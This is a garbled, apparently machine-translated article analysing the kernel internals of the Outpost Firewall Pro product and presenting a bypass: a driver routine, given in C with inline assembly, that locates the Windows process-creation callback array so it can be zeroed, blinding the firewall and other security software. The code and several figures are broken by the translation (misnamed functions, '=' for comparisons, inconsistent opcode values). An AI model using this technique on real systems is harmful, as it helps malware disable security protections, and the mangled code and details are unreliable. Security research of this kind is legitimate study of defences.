Evaluation and Analysis of Firewall Outpost Firewall Pro

Text/kumbayo/BlackBeast
In this article, the author will analyze in detail the system features of the famous firewall Outpost Pro, as well as the advantages and disadvantages of the firewall, and will introduce some technical details in detail.
Features of system protection mode
The Outpost Pro firewall provides a wide range of protection methods, which are implemented by the driver file filtnt. sys, which is the core module of the firewall. In addition, Outpost Pro also provides system plug-ins that can be extended without changing the system kernel.
The extension of the system plug-in program is ". ops, which may be abbreviated as "Outpost firewall Plug-in". After installing the firewall, I found the installation of such Plug-ins in the system.
The firewall has the following options:
Attach Quarantine: filters emails and automatically renames potentially dangerous files.
Active Content: allows you to block some dynamic interaction objects on web pages, such as ActiveX, scropts, and Flash.
Attack Detection: allows you to detect and automatically terminate external or internal attacks.
DNS Cache: automatically records the IP addresses of common websites.
Content: filters webpages based on their Content, that is, keywords.
Anti-Spyware: detects and terminates threats to multiple Spyware programs, ensures the security of personal data of computer users, blocks Trojans, and blocks other unrecognized software activities.
Ads: block Web Ads.
To provide the above functions, the firewall installs the following dynamic link files and interacts with them through filtnt. sys to complete the corresponding tasks. Dynamic Link files include ablock. dll, arp. dll, content. dll, dnscache. dll, ftpfilt. dll, htmlfilt. dll, httpfilt. dll, imapfilt. dll, mailfilt. dll, nntpfilt. dll, pop3filt. dll, protect. dll, secret. dll and sockfilt. dll.
In addition, this firewall has an important feature. As we all know, the data in HTTP datagram may be compressed to reduce the volume. The most common compression method is gzip. The specific data organization method is determined by the HTTP server. If the server decides to do this, then the data packet will contain the header "Accept-Encoding: gzip, deflate (null)". The receiver, that is, the browser automatically decompress the data after receiving the header. The DLL file urlmon. dll provides a set of tool functions to operate GZIP, such as the function "_ ReadGzipHeager", but these functions cannot be exported. Therefore, this firewall changes the traditional HTTP Communication Process and forces the server to send unencrypted raw data, which increases the server's working time. If you do not want this, you can modify the Registry "HKEY_LOCAL_MACHINESOFTWAREAgnitumOutpost Firewall EnableGzipEncoding = 1", but you must declare that such modification will affect the Firewall's filtering effect, some information can be effectively discovered and filtered only when unencrypted raw data is scanned.
Overview of firewall filtering methods
For more information about system filtering, see the description of the website http://ntoskrnl.com, here only introduces the filtering method of Outpost Firewall Pro.
The driver FILTNT. SYS is attached to tcpip. sys. You can see that it uses the following callback function to get the kernel driver write operation notification.
 
NTSTATUS PsSetLoadImageNotifyRoutine (
N pload_image_policy_routine
);
 
The callback function must follow the following format:
 
VOID (* pload_image_policy_routine )(
IN PUNICODE_STRING FullImageName,
In handle ProcessId,
IN PIMAGE_INFO ImageInfo
);
 
In addition, this driver must be loaded in SERVICE_BOOT_START mode. It hooks NDIS and listens to the following functions by changing its export table: NdisCloseAdapter, NdisDeregisterProtocol, protocol, protocol, NdisOpenAdapter, and NdisRegisterProtocol.
This driver implements two listening methods: the NDIS filter hook and the NDIS middle layer driver. Other information about NDIS can be found in the DDK. In addition, it also installs filters on the following devices: DeviceRawIp, DeviceUdp, DeviceTcp, and DeviceIp. It also installs the so-called TDI filter driver, you can also find the TDI information in DDK. The famous open-source firewall project tdi_fw is based on this technology.
For Microsoft Windows XP and later versions, the inbuilt filter interface of Outpost Pro is IpFilterDriver driven by IP filtering. sys implementation, Windows built-in firewall is based on this module, more information about this driver module can be obtained on the website http://microsoft.com.
There is an inevitable relationship between the data packets sent by NDIS and the tdi irp packet, even if your driver can bypass the TDI filter driver, the IRP data packets you send to the device "DeviceTcp" will not disappear in the network protocol stack.
In addition to the above, Outpost Firewall Pro also hooks the following functions by changing the Service Descriptor Table.
 
NTSTATUS ZwWriteVirtualMemory (
In handle ProcessHandle,
In pvoid BaseAddress,
In pvoid Buffer,
In ulong BufferLength,
Out pulong ReturnLength OPTIONAL
);
 
This function is used to write to the memory. By monitoring this function, the address space of the trusted program can be protected. If you want to learn more about this, visit: http://www.sysinternals.com for more information.
In fact, this protection is far from enough. For example, ZoneAlarm, a firewall manufactured by ZoneLab, monitors the following potentially dangerous functions: zwConnectPort, ZwCreateFile, ZwCreateKey, ZwCreateProcess, worker, ZwCreateSection, worker, ZwLoadDriver, ZwLoadKey, worker, ZwOpenFile, ZwOpenProcess, ZwOpenThread, worker, zwSetInformationFile, ZwSetSystemInformati On, ZwSetValueKey, ZwTerminateProcess, and ZwUnloadDriver.
Firewall vulnerability analysis and exploitation
Outpost Firewall Pro monitoring is performed by registering callback functions.
 
NTSTATUS pssetcreateprocesspolicyroutine (
IN pcreate_process_policy_routine
IN BOOLEAN
);
 
The callback function format is as follows:
 
VOID (* pcreate_process_policy_routine )(
In handle ParentId,
In handle ProcessId,
In boolean Create
);
 
We found that the driver file filtnt. sys is used to complete the process creation and termination. According to the analysis, the driver uses pssetcreateprocesspolicyroutine to monitor the process creation. If we can get its code, I think we can find the following content:
 
For (I = 0; I <psp_max_create_process_policy; I ++ ){
If (Remove ){
If (pspcreateprocesspolicyroutine [I] = policyroutine ){
Pspcreateprocesspolicyroutine [I] = NULL;
Pspcreateprocesspolicyroutinecount-= 1;
Return STATUS_SUCCESS;
}
} Else {
If (pspcreateprocesspolicyroutine [I] = NULL ){
Pspcreateprocesspolicyroutine [I] = policyroutine;
Pspcreateprocesspolicyroutinecount + = 1;
Return STATUS_SUCCESS;
}
}
}

It can be seen that pspcreateprocesspolicyroutine stores the address of the callback function called during Process Creation or termination. This feature is consistent in Windows 2000 and earlier versions, and is different in later versions, however, the core idea is the same.
The following is an analysis from the author's perspective. What will happen if this array is cleared? For example, set all elements of the array to zero? The answer is "completely free". The firewall cannot distinguish between Process Creation and termination, and it cannot limit the behavior of related programs based on the "trusted program list. After the following changes are made in the system memory, all program data packets will be unobstructed on the network, and the firewall will turn a blind eye to this.
Why? Is this a tactical error in Windows programming or a fatal negligence? We cannot determine the answer. The only certainty is that Agnitum will not benefit from this vulnerability.
To prove the above analysis, I have compiled a driver for testing. The most difficult part is to obtain the address of the array, which is not an export variable, the address varies in different versions of the Windows family, so my driver is not intended to run in all Windows versions. I plan to develop for Windows XP, this version of Windows is the most widely used in all systems. In addition, we need a Disassembly tool that can work in the kernel mode. I chose LDasm, which can do all the work.
This array can contain up to 8 elements, not only the callback function address of Outpost Firewall Pro, but also the callback functions of other anti-virus software and spyware defense software.
I would like to remind readers that drivers written by others must be very careful because these drivers may contain potential vulnerabilities and are exploited by malicious software writers.
Finally, we obtained the disassembly code of pssetcreateprocesspolicyroutine, as shown in 1. The mark part is the memory address we need, that is, the address value of the EDI stored in the register. Its binary code is 0xBF00E0548057, where 0x57 is the operation code used to input data to EDI. 0x80540E00 is the address of the corresponding data. Based on these analyses, we can program and obtain the address.
 

Figure 1
The process of getting an address is implemented in getpspcreateprocesspolicyroutine (). The specific code is as follows.
 
PVOID getpspcreateprocesspolicyroutine ()
{
PUCHAR _ ptr;
PUCHAR cPtr, pOpcode;
ULONG Length;
_ Asm {
Pushad
Mov eax, pssetcreateprocesspolicyroutine
Mov eax, [eax + 2]
Mov eax, [eax]
Mov _ ptr, eax
Popad
}
For (cPtr = (PUCHAR) _ ptr;
CPtr <(PUCHAR) _ ptr + PAGE_SIZE;
CPtr + = Length)
{
Length = SizeOfCode (cPtr, & pOpcode );
If (! Length) break;
If (* (PUSHORT) cPtr = 0xBF & * (pOpcode + 5) = 0x57)
{
Return * (PVOID **) (pOpcode + 1 );
}
}
Return NULL;
}

The program first obtains the address of the function pssetcreateprocesspolicyroutine, and then searches for the function address space to find the specific operand 0x57. This operand can be used as a marker to determine the location of the required data, obtain the memory content after this operand